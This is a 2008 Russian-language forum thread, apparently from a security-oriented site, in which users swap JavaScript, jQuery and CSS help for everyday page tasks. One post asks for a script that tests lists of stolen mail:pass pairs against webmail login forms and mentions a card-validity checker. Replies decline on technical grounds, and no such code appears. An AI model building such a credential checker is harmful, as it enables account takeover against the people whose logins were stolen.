Так вот, можно ли как то найти те div'ы, которые содержат слова, начинающиеся на "М", и показать только эти div'ы, ну а остальные, соответсвенно, скрыть? Может, с помощью JQuery? С меня репа за помощь ;)

astrologer
16.06.2008, 00:36
$('#book div:not(:contains(М))').hide();Может, с помощью JQuery?Как будто jQuery - совсем другой язык :)

Architek86
16.06.2008, 01:59
ОО, astrologer, огромное спасибо))) не понимаю, как я сам не додумалсо...

Корвин
16.06.2008, 16:48
где бы посмареть код интернет-магазина и корзины на аяксе?

Naydav
17.06.2008, 13:25
где бы посмареть код интернет-магазина и корзины на аяксе?
http://www.aupanierdauvergne.fr/index.php

Корзина на jquery+ajax - там же и скачать можно

Architek86
17.06.2008, 19:51
Дано вот что
<a href="javascript://" onclick="authorisme();" class="copy">Я автор</a>
Как это скрыть с помощью яваскрипта?

gordonfreeman
17.06.2008, 19:58
document.getElementById('link').style.display = 'none';

добавь id="link" к ссылке

Architek86
17.06.2008, 20:04
Неее, а без редактирования ссылки? Дело в том, что там нет доступа к некоторым исходникам.. и в этот исходник как раз входит эта ссылка.. может, опять JQuery выручит? А? :)

VDShark
17.06.2008, 23:54
Неее, а без редактирования ссылки? Дело в том, что там нет доступа к некоторым исходникам.. и в этот исходник как раз входит эта ссылка.. может, опять JQuery выручит? А? :)
Зачем jQuery? И так сделаемс.... Вот собственно ничео меять не над, по классу получим (хотя если несколько ссылок с таким классом - он те вернет последнюю... ну там исправить сможешь если необходимо будет, какую получить):

var elts = document.getElementsByTagName('a');
len = elts.length;
for(i=0; i<len; i++)
if(elts[i].className == 'copy') el = elts[i];
el.style.visibility = 'hidden';

astrologer
18.06.2008, 00:10
<style type="text/css">

a.copy { display: none; }

</style>

nikolya
18.06.2008, 07:17
Извините, что может не по теме, но нужно очень.
Есть страница в интернете html с использованием javascript. Просмотр кода доступен, но только те части, которые отвечают за визуальный образ страницы. А как можно посмотреть полную версию кода (скрипты, все циклы, массивы и прочее)? Заранее спасибо за понимание.

VDShark
18.06.2008, 11:25
Извините, что может не по теме, но нужно очень.
Есть страница в интернете html с использованием javascript. Просмотр кода доступен, но только те части, которые отвечают за визуальный образ страницы. А как можно посмотреть полную версию кода (скрипты, все циклы, массивы и прочее)? Заранее спасибо за понимание.
Ты можешь просмотреть только то, что отрабатвает на клиентской части (js и тп). Доступ же к сервреным скриптам можешь получить только имея доступ к серверу (прямой или посредством багов).

login999
18.06.2008, 22:25
У мну вопрос, а может кто-то написать на яве скриптец, который заходил бы на страницу мыльного сервера, забивал в форму данные из текстового файла, вида mail:pass, проверял, подходит ли пасс к логину, и записывал результат в текстовый файл (были б деньги, заплатил бы, честное слово), а если уж совсем вылазить на голову, так чтобы он еще и настройки брал из текстового файла (чтобы можно было самому в базу серверов добавлять сайты ) (проси больше, все равно на*** пошлют)

Jer1cho
18.06.2008, 22:26
На javascript'е такого не сделаешь.

login999
18.06.2008, 22:57
точно знаю, что можно, когда-то (года 2-3 назад) был скриптец на яве для проверки валидности сс, так вот, он делал почти все это, только с немного другими целями ))

astrologer
18.06.2008, 23:04
Скоро точно будет можно (http://dev.opera.com/articles/view/file-i-o-api-for-widgets/).

Корвин
19.06.2008, 12:55
http://www.aupanierdauvergne.fr/index.php

Корзина на jquery+ajax - там же и скачать можно


не затруднит кинуть ссылочку где там скачать ее можно а то у меня с французским не очень ((

Naydav
20.06.2008, 18:13
yаверно это уже обсуждалось:
Если мы используем ajax(библиотека jquery), то данные передаються в utf8, можно ли передавать данные в windows-1251

Проблема возникла в том, что когда просто передаю форму, то данные идут на сервер в ютф8, я их обрабатываю и все нормально...
Но когда к форме прикрепляю файл, то данные идут в windows-1251
Вопрос:
Как заставить передавать в одной кодировке(в любой) форму, внезависимости передаеться или нет file

Не проверять же на серваке кодировку данных...
я уже заи"лсо, блин

astrologer
20.06.2008, 18:25
yаверно это уже обсуждалось:
Если мы используем ajax(библиотека jquery), то данные передаються в utf8, можно ли передавать данные в windows-1251

Проблема возникла в том, что когда просто передаю форму, то данные идут на сервер в ютф8, я их обрабатываю и все нормально...
Но когда к форме прикрепляю файл, то данные идут в windows-1251
Вопрос:
Как заставить передавать в одной кодировке(в любой) форму, внезависимости передаеться или нет file

Не проверять же на серваке кодировку данных...
я уже заи"лсо, блинРазве на точке (http://xpoint.ru/forums/programming/javascript/misc/thread/42877.xhtml) не ответили? :)
Кстати, jQuery добавляет дополнительный заголовок к запросу:
// Set header so the called script knows that it's an XMLHttpRequest
xhr.setRequestHeader("X-Requested-With", "XMLHttpRequest");

Naydav
20.06.2008, 18:28
Разве на точке не ответили?
Кстати, jQuery добавляет дополнительный заголовок к запросу:
Код:

// Set header so the called script knows that it's an XMLHttpRequest xhr.setRequestHeader("X-Requested-With", "XMLHttpRequest");


Блин, самое оно :), работы много нету даже времени искать :)? все горит
если сог бы купил бы тебе пива :)


пыси
твой пост 666-ой :)

nikolya
22.06.2008, 20:34
Никак не могу сообразить код проги(((
http://it.kait20.ru/8/
Надо сделать такую вот прогу, кому не сложно, прошу помочь. Заранее спасибо.

Дикс
23.06.2008, 18:29
как можно найти на странице все элементы, содержащие в своём onclick определённую фразу + рандомный текст?

дайте подсказку :) ниче в голову не приходит

ПС без фреймворков

GreenBear
23.06.2008, 18:49
ну типа подсказка.
str = document.elements[i].getAttribure('onclick');
if(str.match(//)){
alert('ok');
}

Дикс
23.06.2008, 19:08
nikolya, вот держи на javascript.
может, можно и улучшить :) написал на скорую руку


<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<title>Генератор паролей</title>
<script type="text/javascript">
<!--
function genPass()
{
if(document.getElementById('ch1').checked == true){
ch = new Array ('a','b','c','d','e','f','g','h','i','j','k','l',' m','n','o','p','q','r','s','t','u','v','w','x','y' ,'z');
chName = 'a'; // 26
}else if(document.getElementById('ch2').checked == true){
ch = new Array ('A','B','C','D','E','F','G','H','I','J','K','L',' M','N','O','P','Q','R','S','T','U','V','W','X','Y' ,'Z');
chName = 'A'; // 26
}else if(document.getElementById('ch3').checked == true){
ch = new Array ('0','1','2','3','4','5','6','7','8','9');
chName = '0'; // 10
}

num = parseInt(document.getElementById('num').value);
if(isNaN(num)){
alert('введите число символов');
return false;
}

newPass = '';

for(i=0;i<num;i++){
if(chName == 'a' || chName == 'A'){
randNum = Math.round(0 + (26-1)*Math.random());
}else if(chName == '0'){
randNum = Math.round(0 + (10-1)*Math.random());
}
newPass += ch[randNum];
}

document.getElementById('pass').value = newPass;
};
//-->
</script>
</head>
<body>
<form action='http://rambler.ru'>
<table width="400" align="center" border="0">
<tr>
<td colspan="2" align="center">
Произведите выбор желаемых символов в пароле</td>
</tr>
<tr>
<td align="right" width="50%">
a-z</td>
<td width="50%">
<input type="radio" id='ch1' name="radio"></td>
</tr>
<tr>
<td align="right">
A-Z</td>
<td>
<input type="radio" id='ch2' name="radio"></td>
</tr>
<tr>
<td align="right">
0-9</td>
<td>
<input type="radio" checked="true" id='ch3' name="radio"></td>
</tr>
<tr>
<td align="right">
Число символов</td>
<td>
<input type="text" maxlength="3" value='' id='num' size="3"></td>
</tr>
<tr>
<td colspan="2" align="center">
<input type="submit" name="gen" value="Генерировать" onclick='genPass(); return false'>
<input type="reset" value="Очистить"></td>
</tr>

<tr>
<td align='center' colspan='2' height='50' valign='bottom'>Пароль: <input type='text' size='50' id='pass' /></td>
</tr>

</table>
</body>
</html>

Дикс
23.06.2008, 20:23
ниче не понимаю.. document.elements[i] не распознается ни одним браузером, че это ваще такое?
firebug орёт document.elements has no properties

astrologer
23.06.2008, 20:42
ниче не понимаю.. document.elements[i] не распознается ни одним браузером, че это ваще такое?
firebug орёт document.elements has no propertiesЭто псевдокод.

Дикс
24.06.2008, 05:38
тьфу ты ёпт!..
я вот и не могу придумать, как перебрать все элементы на странице..
в сети нашёл даже примеры использования этого массива elements
сцуко =\

astrologer
24.06.2008, 13:06
1) Перебор «в лоб»:var result = [], query = 'фраза', nodes = document.getElementsByTagName('*'), l = nodes.length, i = 0;
for(;i<l;i++)
{
if((nodes[i].getAttribute('onclick') + '').indexOf(query) > -1) result.push(nodes[i]);
}
2) С помощью XPath, ощутимо быстрее:var
query = 'фраза',
path = '//*[contains(@onclick, "' + query + '")]',
where = document.body,
doc =
(
where.nodeType == 9
? where
: where.ownerDocument || where.document || document
),

result = null;

if(where.selectNodes)
{
result = where.selectNodes(path);
}
else if(doc.evaluate)
{
result = doc.evaluate(path, where, null, 5, null);
}
3) TreeWalker (http://www.w3.org/TR/DOM-Level-2-Traversal-Range/traversal.html#TreeWalker)
4) NodeIterator (http://www.w3.org/TR/DOM-Level-2-Traversal-Range/traversal.html#Iterator-overview)
5) Зависит от задачи.

Корвин
26.06.2008, 11:08
как обновить страницу ява скриптом?

RevenAnt
26.06.2008, 11:15
к примеру <a href="JavaScript:location.reload(true);">
Refresh this page
</a>

Shadow_p1raT
27.06.2008, 12:41
к примеру
Цитата:<a href="javascript:location.reload(true);">
Refresh this page
</a>
А можно ли эмитировать нажатие Refresh this page?

Shadow_p1raT
27.06.2008, 13:07
Уже не надо,дошло.

MafiaBoy3
28.06.2008, 15:17
Мне непонятно следующее кто знает о чём я:
отрывок кода css с digga

html {
min-width: 945px;
} /*IE7*/

чё он делает и что за комментарий /*IE7*/

Также непонятно следующее:
Весь основной код главной страницы digga начинается с <div id="container"> который следует прям сразу за <body>

Мне непонятно зачем юзать container когда сразу за ним идут divы для меню, содержания и т.д.

код containera такой

#container{
margin: 0 auto;
max-width: 1200px; /*эта строка мне также ? */
position: relative;
text-align: left;
}

Barttos
28.06.2008, 15:36
html {
min-width: 945px;
} /*IE7*/

чё он делает и что за комментарий /*IE7*/

#container{
margin: 0 auto;
max-width: 1200px; /*эта строка мне также ? */
position: relative;
text-align: left;
}
min-width: 945px; - Минимальноя ширина! То есть макет там резиновый и если окно браузера сделать меньше чем на 945 пикселеи то макет уже не резиновыи и поивляется скроллер. Надеюсь понял.
max-width: 1200px; /*эта строка мне также ? */
Тож так. Тоесть больше чем на 1200 пикселей он не тянется.

Barttos
28.06.2008, 15:50
Весь основной код главной страницы digga начинается с <div id="container"> который следует прям сразу за <body>

Мне непонятно зачем юзать container когда сразу за ним идут divы для меню, содержания и т.д.
Так смотри сам контеинер закрывается не перед тегом боди!

Тоесть после него идут ешё дивы для которых нужны другие стили!
Чтото вроде
<body>
<div id="cont">
<div id="menu">
<ol><li>sad</li>
<li>sdad</li></ol>
</div>
</div>
<div id="footer">
</div>
<body>

Понял?)

MafiaBoy3
28.06.2008, 16:51
Да спасибо

А каковы первоначальные размеры любой Html страницы (по умолчанию)?

Barttos
28.06.2008, 17:05
А каковы первоначальные размеры любой Html страницы (по умолчанию)?
От 0 до +oo px :D

Смотря как если на странице есть картинка к примеру размером 100x100px и таблица шириноив 100% то её размер в IE будет от 102 кажется до +оо
В Опере от 100 до +оо

MafiaBoy3
28.06.2008, 17:07
да нет 800 или 1000 или СКОЛЬКО px?

Корвин
01.07.2008, 11:12
Да спасибо

А каковы первоначальные размеры любой Html страницы (по умолчанию)?


помоему у нее нет размеров , тк первоначально html страница это пустой файл, размеры задаешь ты

GoodGod
05.07.2008, 11:31
Вконтакте заблочили приглашение друзей на мероприятия путем этого скрипта.
javascript:for(var i = 0; i < 5000; i++) document.inviteFriends.elements[i].checked = true;

Есть ли другие варианты?

art2222
05.07.2008, 16:23
Есть вопрос: можно ли сделать так, что страничка по нажатии кнопки обращалась к пхп скрипту и получив от него какой нибудь результат выводила его?
Помогите, если не трудно.

Micr0b
08.07.2008, 11:51
я в аякс 0 ..=\

есть две кнопки сохранить и удалить мне нужно чтоб они были disabled до тех пор пока не будет отмеченое в сообщение type="checkbox"

mff
08.07.2008, 20:22
Как получить значение между тегами <option></option> не дублирую его в value ?

mff
08.07.2008, 20:49
я в аякс 0 ..=\

есть две кнопки сохранить и удалить мне нужно чтоб они были disabled до тех пор пока не будет отмеченое в сообщение type="checkbox"

легко:
<input id="save" type="button" value="сохранить" disabled="disabled" /> <input id="del" type="button" value="удалить" disabled="disabled" />
<input id="check" type="checkbox" onChange="if(this.checked){document.all.save.disabled=false; document.all.del.disabled=false;}else{document.all .save.disabled=true; document.all.del.disabled=true;}" />

mff
08.07.2008, 21:42
спасиб...но тогда явакод придеца к каждому checkbox дописывать.. как етот явакод вытащить мож в функцыю по индификатору.. ?)

вот так извратился:
<script language="javascript">
var idd = "";
function func(idd){
if(document.getElementById("check"+idd).checked){
document.getElementById("save"+idd).disabled=false;
document.getElementById("del"+idd).disabled=false;
}
else{
document.getElementById("save"+idd).disabled=true;
document.getElementById("del"+idd).disabled=true;
}
}
</script>

<input id="save1" type="button" value="сохранить" disabled="disabled" /> <input id="del1" type="button" value="удалить" disabled="disabled" />
<input id="check1" type="checkbox" onChange="func(1)" />

<input id="save2" type="button" value="сохранить" disabled="disabled" /> <input id="del2" type="button" value="удалить" disabled="disabled" />
<input id="check2" type="checkbox" onChange="func(2)" />

P.S. почисти ПМ ;)

mff
09.07.2008, 17:34
Так кто подскажет, как получить значение между тегами <option></option>?
HELP!!!

MafiaBoy3
09.07.2008, 17:53
Как создать меню как на сайте mozilla.com. Мне для своего сайта нужно создать копию такого меню (разворачивающегося), но я запутался во всём этом.

Помогите , люди добрые.

mff
09.07.2008, 18:01
А. всем спасибо, сам разобрался, скрипт меняет все value на значение между тегами <option></option>
<script language="javascript" >
function my_options(){
for(var i=0; i < 4; i++){
document.getElementById("country").options[i].value = document.getElementById("country").options[i].text;
}
}
</script>

<select size="1" name="country" onchange="my_options()">
<option value=1>Бенин</option>
<option value=2>Бермуда</option>
<option value=3>Болгария</option>
<option value=4>Боливия</option>
</select>

MafiaBoy3
09.07.2008, 18:10
Как создать меню как на сайте mozilla.com. Мне для своего сайта нужно создать копию такого меню (разворачивающегося), но я запутался во всём этом.

Помогите , люди добрые.

Jer1cho
09.07.2008, 18:29
Ммм... ну прям точно как на mozilla.com ты не сделаешь, т.к. там используется Yahoo UI и еше куча всего, вообще код просто огромный чтоб его разбирать и выдрать именно ту часть, которая отвечает за меню.
Намного проще будет сделать без всяких фреймворков как я написал тут: https://forum.antichat.ru/showpost.php?p=766052&postcount=5
Если этого не понимаешь, тогда учи дальше html/js.

m0nsieur
09.07.2008, 18:35
вот еще пример - http://www.webmagazine.biz/articles/css-vertical-dropdown-menu.html

Nightmarе
10.07.2008, 03:38
У меня 2 вопроса.

1) Вот у меня например поле Edit:
<input type="text" name="Edit">
И есть ява код на получение разрешение экрана
<script language="JavaScript">document.write(screen.width +' x '+screen.height)</script>
Как мне сделать так, чтобы при загрузке странички в поле Edit уже было разрешение экрана?

2) Помимо разрешения экрана, какую ещё информацию на ява можно получить о клиенте? Имеется ввиду то, что можно получить только с помощью явы.

-=Static=-
10.07.2008, 04:01
У меня 2 вопроса.

1) Вот у меня например поле Edit:
<input type="text" name="Edit">
И есть ява код на получение разрешение экрана
<script language="JavaScript">document.write(screen.width +' x '+screen.height)</script>
Как мне сделать так, чтобы при загрузке странички в поле Edit уже было разрешение экрана?

2) Помимо разрешения экрана, какую ещё информацию на ява можно получить о клиенте? Имеется ввиду то, что можно получить только с помощью явы.

1) как вариант:



<script language="JavaScript">
function GetScreenSize()
{
var height=0;
var width=0;
if (self.screen) { // for NN4 and IE4
width = screen.width
height = screen.height
}
else if (self.java) { // for NN3 with enabled Java
var jkit = java.awt.Toolkit.getDefaultToolkit();
var scrsize = jkit.getScreenSize();
width = scrsize.width;
height = scrsize.height;
}
//alert(width);
ed = document.getElementById("Edit");
ed.value = width + '*' + height;
}
</script>
<body onLoad="GetScreenSize();">
<input type="text" name="Edit" id="Edit">
</body>


2) Вот поизучай. http://www.tigir.com/javascript.htm

mff
10.07.2008, 04:10
У меня 2 вопроса.

1) Вот у меня например поле Edit:
<input type="text" name="Edit">
И есть ява код на получение разрешение экрана
<script language="JavaScript">document.write(screen.width +' x '+screen.height)</script>
Как мне сделать так, чтобы при загрузке странички в поле Edit уже было разрешение экрана?

2) Помимо разрешения экрана, какую ещё информацию на ява можно получить о клиенте? Имеется ввиду то, что можно получить только с помощью явы.

У меня 2 ответа:
1)
<input type="text" name="edit" />
<script>
document.getElementById("edit").value=screen.width +' x '+screen.height;
</script>

2) Можно еще получить информацию об операционной системе, о броузере и др.

Nightmarе
10.07.2008, 04:46
спс. У меня код не пашет :(


Операционную систему и т.д... можно получить и стандартными средствами php на серваке.
Я имею ввиду индивидуальные параметры... там имя компа, серийный номер... я хз что там можно... но если на стороне клиента юзается то может сто и можно...

GreenBear
10.07.2008, 09:28
спс. У меня код не пашет
<input type="text" name="edit" id="edit"> <script type="text/javascript"> document.getElementById("edit").value=screen.width +' x '+screen.height; </script>]

-=Static=-
10.07.2008, 10:13
спс. У меня код не пашет :(



Я ж те на предыдущей странице написал)

Nightmarе
10.07.2008, 12:45
-=Static=- спс не заметил.
GreenBear тоже спс!!!

svesve
10.07.2008, 14:48
Всем привет!
Есть у когонить скриптик чтоб переделать низспадаюющий список.
т.е. есть список(низспадабщий) его надо переделать под диз сайта,знаю что на яве можно но не нашел.
нужно чтоб список был без границы и был прозрачен

Jer1cho
10.07.2008, 14:51
Покажи код этого списка.

svesve
10.07.2008, 15:00
<select class="text1" name="speed"><option class="text1">выберите скорость</option> <option class="text1" value="t1">256Kb/s</option> <option class="text1" value="t2">512Kb/s</option> <option class="text1" value="t3">1024Kb/s</option><option class="text1" value="t4">2048Kb/s</option></select>

Корвин
10.07.2008, 15:23
сам выезжающий список незнаю как сделать а вот дизайн самого поля http://pyromax.ru/ в правом верхнем углу поле поиска, можно что нить подобное сделать, без всякой там явы

svesve
10.07.2008, 15:31
Поле сделать легко,вот спико попробуй также )

Jer1cho
10.07.2008, 15:32
Проблема в том, что opacity(прозрачность) и границы можно приминить только к <select>, к <option> эти параметры не действуют(только к тексту внутри, но не к самому элементу..). Или я что-то не так делаю.. .

svesve
10.07.2008, 15:35
поэтому я и спросил есть у кого ява ))) через нее можно 100%

mff
10.07.2008, 16:06
Прозрачность для разных броузеров:
style=
"filter:alpha(opacity=50); /* IE 5.5+*/
-moz-opacity: 0.5; /* Mozilla 1.6 и ниже */
-khtml-opacity: 0.5; /* Konqueror 3.1, Safari 1.1 */
opacity: 0.5; /* CSS3 - Mozilla 1.7b +, Firefox 0.9 +, Safari 1.2+, Opera 9 */ "

но вот к <select> эти правила применимы, а к <option> хз

есть еще такое свойство background:inherit элементам присвоится родительский цвет...

Корвин
10.07.2008, 16:14
<option value="u" style="background-color: red;color: #FFFFFF;">доставка курьером</option>

вот это срабатывает. попробуй ксской подогнать под дизайн, фон и цвет шрифта у меня поменялся, попоробуй мож еще чо поменяется, кароч експерементируй

svesve
10.07.2008, 17:52
все проблема решена,нашел яву все сделал ,спасибо кто откликнулся )))
З.Ы. мне еще надо было скрол убрать

Jer1cho
10.07.2008, 18:00
Можешь выложить скрипт который помог? Очень интересно посмотреть..

Nightmarе
10.07.2008, 21:23
Можно ли на ява получить имя компа, или какие нить параметры компа? Типа процессор оперативка и т.д... (про браузер и ОСЬ можно не писать)

mff
10.07.2008, 23:14
Можно ли на ява получить имя компа, или какие нить параметры компа? Типа процессор оперативка и т.д... (про браузер и ОСЬ можно не писать)

вот:
<script language=JavaScript>
<!--
myClientObj = window.clientInformation;
document.write('Номер кода приложения: ' + myClientObj.appCodeName + '<br>');
document.write('Минор-версия приложения: ' + myClientObj.appMinorVersion + '<br>');
document.write('Тип броузера: ' + myClientObj.appName + '<br>');
document.write('Версия броузера: ' + myClientObj.appVersion + '<br>');
document.write('Язык броузера: ' + myClientObj.browserLanguage + '<br>');
document.write('Cookies: ' + myClientObj.cookieEnabled + '<br>');
document.write('Класс процессора: ' + myClientObj.cpuClass + '<br>');
document.write('Автономная работа: ' + myClientObj.onLine + '<br>');
document.write('Платформа: ' + myClientObj.platform + '<br>');
document.write('Системный язык: ' + myClientObj.systemLanguage + '<br>');
document.write('Агент пользователя: ' + myClientObj.userAgent + '<br>');
document.write('Язык пользователя: ' + myClientObj.userLanguage + '<br>');
document.write('Машина Java: ' + myClientObj.javaEnabled() + '<br>');
document.write('Страница с фреймом: ' + ((self!=top)?"Да":"Нет") + '<br>');
document.write('Разрешение экрана: ' + screen.width + "x" + screen.height + "x" + (screen.colorDepth?screen.colorDepth:screen.pixelD epth) + '<br>');
//-->
</script>

на выходе:
Номер кода приложения: Mozilla
Минор-версия приложения: 0
Тип броузера: Microsoft Internet Explorer
Версия броузера: 4.0 (compatible; MSIE 7.0; Windows NT 5.1; MRSPUTNIK 2, 0, 0, 20 SW; MRA 5.0 (build 02094); Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; InfoPath.2; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)
Язык броузера: ru
Cookies: true
Класс процессора: x86
Автономная работа: true
Платформа: Win32
Системный язык: ru
Агент пользователя: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; MRSPUTNIK 2, 0, 0, 20 SW; MRA 5.0 (build 02094); Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; InfoPath.2; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)
Язык пользователя: ru
Машина Java: true
Страница с фреймом: Нет
Разрешение экрана: 1440x900x32


Но ты знаешь, вроде бы можно узнать объёмы диска С и что то еще даже... + через flash что то можно забрать + php ... У меня было 3 в одном скриптишка, не могу найти :(

Nightmarе
10.07.2008, 23:32
мдя... это и яжу понятно что браузер IP и ось можно получить... и на php и как угодно.
Другое дело может есть какой эксклюзивчик поскольку выполняется у клиента...
Ну ладно спс. Нельзя значит походу. будем курить флеш.

mff
11.07.2008, 16:52
Help Me! Нужна путёвая книга по Ajax! Где можно качнуть?
Посоветуйте что нить... Сори, за оффтоп

Vanofuture
11.07.2008, 20:13
Хотел бы научится работать с jQuery. Посоветуйте сайт или материал какой-нибудь =)

P(i)n*Fl0p1
12.07.2008, 11:13
var nA,nB=5,nC=10
do{
nA=nB+nC
nC++
document.write(nA)}
while(nA=>15)

Подскажите что неправильно?)Не выводит

astrologer
12.07.2008, 19:34
<pre>
<script type="text/javascript">

var nA, nB = 5, nC = 10;
do
{
document.writeln(nA = nB + nC++);
}
while(nA >= 15);

</script>
</pre>
BTW, цикл бесконечный, можно и так написать:<pre>
<script type="text/javascript">

var nA = 15;
while(true) document.writeln(nA++);

</script>
</pre>

heretic1990
15.07.2008, 21:26
нужен скрипт поисковика: поисковик должен искать текст, а точнее строку в отдельном Txt файле. возмодно ли такое? если да то как

m0nsieur
15.07.2008, 23:26
Если строка имеет какие-то критерии по которым ее можно найти, то используй регулярные выражения.

XopoIII
16.07.2008, 04:14
Хотел бы научится работать с jQuery. Посоветуйте сайт или материал какой-нибудь =)
=> google.ru

n0153r
16.07.2008, 16:29
Вопросик :
Как можно перевести Vb скрипты на Js.
Можно как-нить автоматизировать процес ???

-=Static=-
17.07.2008, 01:26
Хотел бы научится работать с jQuery. Посоветуйте сайт или материал какой-нибудь =)

_http://www.rsdn.ru/article/inet/jQuery.xml
_http://jquery.com/

Этого должно хватить )

Naydav
17.07.2008, 11:51
Хотел бы научится работать с jQuery. Посоветуйте сайт или материал какой-нибудь =)
http://forum.antichat.ru/thread67436-jquery.html

sawat
17.07.2008, 14:55
как использывать скрипты???

mff
17.07.2008, 16:12
как использывать скрипты???
Впиши эту строчку <script language="javascript"></script> между тегами <head></head> или <body></body>, а уже там пиши код скрипта... Можно файл вынести в отдельный документ <script type="text/javascript" src="путь к файлу"></script>

Naydav
18.07.2008, 18:59
Что-то я туплю...
У нас есть select, при изменение (onchange), нам нужно узнать id выбранного option

пример

<select name="myselect" onchange="myfunk(this)">
<option id="1" value="test1">name1</option>
<option id="2" value="test2">name2</option>
<option id="3" value="test3">name3</option>
</select>

Как узнать id выбраного option ?
С помощью jquery и без...

mff
18.07.2008, 19:48
Что-то я туплю...
У нас есть select, при изменение (onchange), нам нужно узнать id выбранного option

пример

<select name="myselect" onchange="myfunk(this)">
<option id="1" value="test1">name1</option>
<option id="2" value="test2">name2</option>
<option id="3" value="test3">name3</option>
</select>

Как узнать id выбраного option ?
С помощью jquery и без...

Вот тут чо то намутил на js:
<select name="myselect" onchange="for(var i=0;i<3;i++){if(this.options[i].selected){alert(this.options[i].id);}}">
<option id="1" value="test1">name1</option>
<option id="2" value="test2">name2</option>
<option id="3" value="test3">name3</option>
</select>

Naydav
18.07.2008, 19:58
mff
Так ты привязуешся к конкретным значениям
да и вообще, это абсурд перечислять элементы по значениям id (кста id могут быть и 45, 455, 369)


Нужно типа, this.child.nodeValue.id

var object = document.getElementById('el');
for (var childItem in object.childNodes) {
if (Ротомок выбран)
alert( object.childNodes[childItem].id );
}

mff
18.07.2008, 20:04
самому интересно, как так сделать :)

Vanofuture
19.07.2008, 00:31
Что-то я туплю...
У нас есть select, при изменение (onchange), нам нужно узнать id выбранного option

пример

<select name="myselect" onchange="myfunk(this)">
<option id="1" value="test1">name1</option>
<option id="2" value="test2">name2</option>
<option id="3" value="test3">name3</option>
</select>

Как узнать id выбраного option ?
С помощью jquery и без...
Может я чёт не понял, но вроде так:
<select name="myselect" onchange="getSelId(this)">
<option id="1" value="test1">name1</option>
<option id="2" value="test2">name2</option>
<option id="3" value="test3">name3</option>
</select>
<script type="text/javascript">
function getSelId(obj){
alert(obj.options[obj.selectedIndex].id);}
</script>

mff
21.07.2008, 12:32
Подскажите, как правильно реализовать, нужно чтобы при вводе в текстовое поле трёх символов срабатывала функция, например alert();
<input type="text" name="number" maxlength="3" />
<input type="button" name="ok" value="ok" onclick="alert(document.getElementById('number').value);" />

Vanofuture
21.07.2008, 19:36
Подскажите, как правильно реализовать, нужно чтобы при вводе в текстовое поле трёх символов срабатывала функция, например alert();
<input type="text" onkeyup="if(this.value.length==3){alert(this.value);}" name="number" maxlength="3" />

mff
21.07.2008, 20:00
Отлично Vanofuture! +

Корвин
22.07.2008, 14:31
Подскажите плиз, никак не могу разобраться

я с помощью вот этой херни

http://xhtml.ru/2008/05/14/sessvars/


сделал сохранение товаров в своем интернет магазине

вот скрипт сохранения


sessvars.inbasket = new Array();

for(j=0;j<toBuy.length;j++)
{
sessvars.inbasket[j+plus]={articul: tId[j], name: tName[j], price: tPrice[j], kolvo: Count[j]};
}


в опере и ИЕ нормально создается массив и товар сохраняется, а в мазиле не сохраняет, что можно сделать чтобы сохранял?

mff
22.07.2008, 18:31
Требуется сделать 2 кнопки: "вставить из буфера" и "скопировать в буфер" + привязать их к <textarea>
Подскажите в каком направлении идти?

Vanofuture
22.07.2008, 20:36
Требуется сделать 2 кнопки: "вставить из буфера" и "скопировать в буфер" + привязать их к <textarea>
Подскажите в каком направлении идти?
Так как такие браузеры как Firefox и Opera не разрешают JavaScript'у работать с буффером из-за безопасти, то надо юзать флеш.
Не знаю как с вставкой из буффера, но вот ссыль (http://webchicanery.com/code/clipbjavascript.zip) на копирование в буффер.

Naydav
23.07.2008, 01:01
Так как такие браузеры как Firefox и Opera не разрешают JavaScript'у работать с буффером из-за безопасти
А джаваскриптовые WISYWIG'и ?
Или они не пашут с вордовскими функциями в мазилле?
------------------
Действительно не работаеют :(
h_ttp://www.mozilla.org/editor/midasdemo/securityprefs.html
Столько времени работал, и не обращал особого внимания, на набор вордовских функций

mff
Если интересен сам механизм, то скачай TinyMce, и возьми готовый плагин

mff
23.07.2008, 10:44
Да, WISYWIG'и пашут только в IE :(
Спасибо Vanofuture, Naydav!

MafiaBoy3
24.07.2008, 16:03
Я Новичок с большой буквы

Как можно на своём сайте сделать хедеры как на вконтакте.ру? На вконтакте это: образование, информация и. т.д. Когда заходишь на вконтакте.ру хеадеры развёрнуты. Когда по ним щелкаешь - сворачиваютя. Ещё щёлкаешь разворачиваются.
Интересен сам принцип реализации.

Shadow_p1raT
24.07.2008, 16:09
Тут всё что тебе надо http://anton.shevchuk.name/javascript/jquery-for-beginners/

MafiaBoy3
24.07.2008, 16:12
нифига. там примеры немножко другие (гармошка и выдвижная панель в частности)

life_is_shit
24.07.2008, 16:32
demos.mootools.net поищи в примерах=) удачи

Grema
30.07.2008, 15:19
Помогите) вот пишу небольшой чатик для себя. небольшая лажа с смайлами, не знаю как сделать чтобы с миниокошка со смайлами кидалась строка типо :fs: в инпут в главном окне.

function vivodsmiles()
{
global $files;
$text="<html><meta http-equiv=Content-Type content=text/html; charset=windows-1251>";
foreach ($files as $key=>$value)
{
$text=$text."<input type=image src=smiles/$value.gif>";
//if(($key%6)=='0') echo '<br>';
}
$text=$text."</html>";
return $text;
}
$smm=vivodsmiles();

echo "<script>
function winop(){
var win=window.open('','','width=400,height=120')
win.document.open()
win.document.write('$smm')
win.document.close()
}
</script>";

Корвин
30.07.2008, 17:03
<img src="smile.gif" onclick="document.getElementById('поле ввода сообщения').value=':fs:'">

<input id="поле ввода сообщения" type="text" value="">


тока id поменяй на нормальный, я для наглядности так назвал